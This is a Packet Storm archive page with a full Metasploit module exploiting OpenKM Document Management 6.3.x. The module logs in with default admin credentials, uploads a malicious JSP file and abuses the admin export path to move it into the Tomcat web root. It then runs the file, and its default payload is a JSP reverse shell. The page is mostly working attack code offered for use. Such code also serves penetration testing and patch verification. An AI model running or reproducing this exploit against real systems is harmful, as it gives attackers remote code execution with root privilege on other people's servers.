exploit the possibilities

OpenKM Document Management Remote Command Execution

OpenKM Document Management Remote Command Execution
Posted Mar 11, 2019
Authored by Ozkan Mustafa Akkus | Site metasploit.com

This Metasploit module allows the execution of remote commands on the server by creating a malicious JSP file. Module has been tested successfully with OpenKM DM between 6.3.2 and 6.3.7 on Debian 4.9.18-1kali1 system. There is also the possibility of working in lower versions.

tags | exploit, remote
systems | linux, debian
MD5 | f97d3b6ff4fa56c863ac3cc8e4e6f499

OpenKM Document Management Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'OpenKM Document Management < 6.3.7 - (Authenticated) Remote Command Execution',
'Description' => %q{
Versions of the OpenKM Document Management < 6.3.7 allows upload a malicious
JSP file into the "/okm:root" directories and move that file to the home directory of the site.
This vulnerability is carried out by interfering to the "Filesystem path" control in the admin's "Export" field.
As a result, attackers can gain remote code execution through the application server with root privilege.

This module allows the execution of remote commands on the server by creating a malicious JSP file.
Module has been tested successfully with OpenKM DM between 6.3.2 and 6.3.7 on Debian 4.9.18-1kali1 system.
There is also the possibility of working in lower versions.
},
'Author' => [ 'AkkuS <Azkan Mustafa AkkuA>' ], # Vulnerability Discovery, PoC & Msf Module
'References' =>
[
['URL', 'https://pentest.com.tr/exploits/OpenKM-DM-6-3-7-Remote-Command-Execution-Metasploit.html']
],
'DisclosureDate' => "March 09 2019",
'License' => MSF_LICENSE,
'Platform' => %w{ linux win },
'Targets' =>
[
[ 'Automatic',
{
'Arch' => ARCH_JAVA,
'Platform' => 'linux'
}
],
[ 'Java Windows',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
],
[ 'Java Linux',
{
'Arch' => ARCH_JAVA,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' }))

register_options(
[
Opt::RPORT(8080),
OptBool.new('SSL', [true, 'Use SSL', false]),
OptString.new('TARGETURI', [true, 'The base path to OpenKM', '/']),
OptString.new('USERNAME', [true, 'User to login with', 'okmAdmin']),
OptString.new('PASSWORD', [true, 'Password to login with', 'admin']),
], self.class)
end
##
# Request to Login
##
def login

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, "/OpenKM/j_spring_security_check"),
'vars_post' => {
"j_username" => datastore['USERNAME'],
"j_password" => datastore['PASSWORD'],
"submit" => "Login"
}
})

if res and res.code == 302 and res.headers['Location'] =~ /error/
fail_with(Failure::NoAccess, "Failed to login!")
else
print_good("Login successful.")
end
return res
end
##
# Returns the SSL, Host and Port as a string
##
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
##
# Vulnerablity Check
##
def check

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, "/OpenKM/admin/home.jsp"),
'headers' =>
{
'Cookie' => login.get_cookies,
}
})

version = res.body.split('Version: ')[1].split('</td>')[0]
print_status("Version: #{version}")

if res and res.code == 200 and res.body =~ /Version: 6./ or res.body =~ /Version: 5./
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
return res
end

def exploit

get_cookie = login.get_cookies
cookie = get_cookie
print_status("Cookie: #{cookie}")
##
# Read to X-GWT-Permutation string
##
print_status("Attempting to read X-GWT-Permutation...")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, "/OpenKM/frontend/frontend.nocache.js"),
'headers' =>
{
'Cookie' => cookie,
}
})

cache = res.body.split('Wb=')[1].split("'")[1]
print_good("X-GWT-Permutation: #{cache}")
##
# Create directory for payload
##
print_status("Attempting to create directory for payload...")
dfile = "#{rand_text_alphanumeric(rand(5) + 5)}akkus"
string = Rex::Text.rand_text_alphanumeric(10)

data = "7|0|7|#{peer}/OpenKM/frontend/|"
data << "#{cache}"
data << "|com.openkm.frontend.client.service.OKMFolderService|create|java.lang.String/"
data << "#{string}"
data << "|#{dfile}|/okm:root|1|2|3|4|2|5|5|6|7|"

res = send_request_cgi({
'method' => 'POST',
'data' => data,
'uri' => normalize_uri(target_uri, "/OpenKM/frontend/Folder"),
'headers' =>
{
'Content-Type' => 'text/x-gwt-rpc; charset=utf-8',
'X-GWT-Permutation' => cache,
'X-GWT-Module-Base' => '#{peer}/OpenKM/frontend/',
'Referer' => '#{peer}/OpenKM/frontend/index.jsp',
'Cookie' => cookie,
}
})

if res and res.code == 200 and res.body =~ /akkus/
print_good("#{dfile} directory successfully created!")
else
print_error("Directory could not be created!")
return res
end

##
# Upload JSP payload
##
pfile = "#{rand_text_alphanumeric(rand(5) + 5)}akkus.jsp"
boundary = Rex::Text.rand_text_alphanumeric(29)

data = "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"path\"\r\n\r\n/okm:root/#{dfile}\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\n0\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"rename\"\r\n\r\n\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\n\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"mails\"\r\n\r\n\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"users\"\r\n\r\n\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"roles\"\r\n\r\n\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"message\"\r\n\r\n\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"increaseVersion\"\r\n\r\n0\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"uploadFormElement\"; filename=\"#{pfile}\""
data << "\r\nContent-Type: application/octet-stream\r\n\r\n"
data << payload.encoded
data << "\n\r\n-----------------------------{boundary}--\r\n"

print_status("Attempting to upload JSP Payload...")

res = send_request_cgi({
'method' => 'POST',
'data' => data,
'uri' => normalize_uri(target_uri, "/OpenKM/frontend/FileUpload"),
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
'Referer' => '#{peer}/OpenKM/frontend/index.jsp',
'Cookie' => cookie,
}
})

if res and res.code == 200 and res.body =~ /akkus.jsp/
print_good("#{pfile} payload uploaded successfully!")
else
print_error("JSP Payload upload failed!")
end
##
# Read Tomcat web directory path
##
print_status("Attempting to read Tomcat web directory path...")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, "/OpenKM/admin/system_properties.jsp"),
'headers' =>
{
'Cookie' => cookie,
}
})

dir = res.body.split('catalina.base')[1].split('<td>')[1].split(' ')[0]
path = "#{dir}/webapps/OpenKM"
print_good("Web directory path => #{path}")
##
# Move the payload file to the site's home directory
##
print_status("Attempting to move payload file to the site's home directory...")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, "/OpenKM/admin/repository_export.jsp?repoPath=%2Fokm%3Aroot%2F#{dfile}&fsPath=" + URI.encode(path, /\W/)),
'headers' =>
{
'Cookie' => cookie,
}
})

if res and res.code == 200 and res.body =~ /akkus/
print_good("JSP Payload was moved successfully!")
print_status("=> #{path}/#{pfile} ")
else
print_error("JSP Payload upload failed!")
end
##
# Execute the Payload
##
print_status("Attempting to execute the #{pfile} payload...")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, "/OpenKM/#{pfile}"),
'headers' =>
{
'Cookie' => cookie,
}
})

if res and res.code == 200
print_good("Payload executed successfully!")
else
fail_with(Failure::PayloadFailed, "Failed to execute the payload!")
end
end
end
##
# End
##

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    4 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close